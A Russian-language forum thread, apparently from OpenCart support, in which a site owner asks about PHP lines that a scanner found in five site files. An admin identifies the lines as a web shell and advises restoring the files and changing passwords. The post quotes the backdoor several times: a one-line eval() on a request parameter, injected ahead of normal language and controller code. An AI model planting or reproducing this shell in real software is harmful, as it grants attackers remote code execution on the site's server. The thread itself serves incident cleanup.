Помогите разобраться что это

[111ks]

С недавнего времени в 5 файлах появились вот такие строчки

  <?php $post_var = "req"; if(isset($_REQUEST[$post_var])) { eval(stripslashes($_REQUEST[$post_var])); exit(); }; ?><?php

1<?php$post_var="req";if(isset($_REQUEST[$post_var])){ eval(stripslashes($_REQUEST[$post_var]));exit();};?><?php$_['heading_title']='P

1<?php$post_var="req";if(isset($_REQUEST[$post_var])){ eval(stripslashes($_REQUEST[$post_var]));exit();};?><?php$_['heading_title']='·

1<?php$post_var="req";if(isset($_REQUEST[$post_var])){ eval(stripslashes($_REQUEST[$post_var]));exit();};?><?php class ControllerPayme

1<?php$post_var="req";if(isset($_REQUEST[$post_var])){ eval(stripslashes($_REQUEST[$post_var]));exit();};?><?php$_['heading_title']='L

Что это может быть и с чем это связано? Это выявлено айболитом для сайтов.

[Blondy]

Если оно появилось само собой, то это не к добру. 

 

[Blondy]

Если оно появилось само собой, то это не к добру. 

 

[111ks]

Это выяснилось при скачивании копии сайта через фтп, антивирус стал ругаться и блокировать в карантин. Проверили через айболит похоже на вредоносный код. Не давно поменяли php версию на хостинге, может это как то повлиять или все же это взлом? Но при этом ни куда не перенаправляет, проверяли через счетчики на сайте, да и покупатели не жалуются, это появилось где-то со 2 февраля...

 

[admin]

1. или варезный модуль поставили

2. или рядом вордпресс\джумла на хостинге

но штука уж больно на шелл похожа

попасть в опенкарт могла двумя выше указанными путями

[111ks]

второй сайт на джумле и недавно пытались установить новый шаблон, скорее всего с него все и началось, сделали бекап сайта на джумле, поменяли все доступы пароли. Папки с кракозябрами перестали появляться, но вот это так и есть. Не подскажите как исправить?

[admin]

чистить файлы в которых это есть

или если не меняли ничего то залить исходные из сборки

только вот поменяйте еще все пароли доступа к хостингу и в бд

и не забудьте потом поменять в config.php

[111ks]

с исходниками понятно, а в config.php что поменять нужно будет?

[admin]

пароль к базе

только про второй в папке админ не забудьте

[111ks]

Понятно, спасибо огромное буду исправлять...